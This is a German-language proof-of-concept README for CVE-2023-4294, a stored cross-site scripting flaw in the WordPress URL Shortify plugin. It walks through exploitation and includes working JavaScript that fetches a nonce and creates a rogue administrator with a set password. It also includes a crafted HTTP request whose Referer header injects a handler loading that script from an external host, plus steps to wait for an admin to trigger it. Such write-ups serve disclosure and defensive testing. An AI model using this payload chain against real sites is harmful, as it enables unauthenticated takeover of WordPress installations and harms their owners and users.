
Repository für die CVE-2023-4294-Schwachstelle.
CVE-ID: CVE-2023-4294
Schwachstellentyp: Cross-Site Scripting
Beschreibung: Das URL Shortify-Plugin für WordPress ist in Versionen bis einschließlich 1.7.5 anfällig für gespeichertes Cross-Site Scripting über den Referrer-Header, da die Eingabebereinigung und Ausgabe-Escaping unzureichend sind. Dadurch können nicht authentifizierte Angreifer beliebige Web-Skripte in Seiten einfügen, die immer dann ausgeführt werden, wenn ein Benutzer eine manipulierte Seite aufruft.
Schritte zur Reproduktion:
1. Fügen Sie einen neuen verkürzten Link in der Schnittstelle <host>/wp-admin/admin.php?page=us_links&action=new hinzu. In diesem Fall lautet er:
<host>/mr83
2. Bereiten Sie einen JavaScript-Code vor, der automatisch einen neuen Benutzer mit Administratorrechten zur Website hinzufügt, und hosten Sie ihn auf einer externen Ressource, z. B. html.cafe.
const url = 'https://<host>/wp-admin/user-new.php';fetch(url).then(response => response.text()).then(html => {const parser = new DOMParser();const doc = parser.parseFromString(html, 'text/html');const nonceValue = doc.getElementById('_wpnonce_create-user').value;const requestOptions = {method: 'POST',headers: {'Content-Type': 'application/x-www-form-urlencoded'},body: `action=createuser&_wpnonce_create-user=${encodeURIComponent(nonceValue)}&_wp_http_referer=%2Fwp-admin%2Fuser-new.php&user_login=administrator&email [email protected]&first_name=&last_name=&url=&pass1=O%21k6c5%5EfjO%5E1sF%26%24%21%26V2PG9e&pass2=O%21k6c5%5EfjO%5E1sF%26%24%21%26V2PG9e&send_user_notification=0&role=admin &ure_other_roles=&createuser =Add+New+User`};return fetch(url, requestOptions);});
3. Senden Sie eine Anfrage mit einem manipulierten Wert im Referer-Header.
GET /mr83 HTTP/1.1
Host: <host>
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.5735.199 Safari/537.36
Referer: https://example.com'abc=""onmouseover='var scriptElement=document.createElement(`script`);scriptElement.src=`https://html.cafe/x…d`;document.head .appendChild(scriptElement);
Connection: close
4. Warten Sie auf die Interaktion des Administrators mit dem anfälligen „Referer“-Feld in den Statistiken des erstellten Links.
<host>/wp-admin/admin.php?page=us_links&action=statistics&_wpnonce=5252159b66&id=1
5. Melden Sie sich mit dem neu erstellten Administratorkonto an.
Referenz: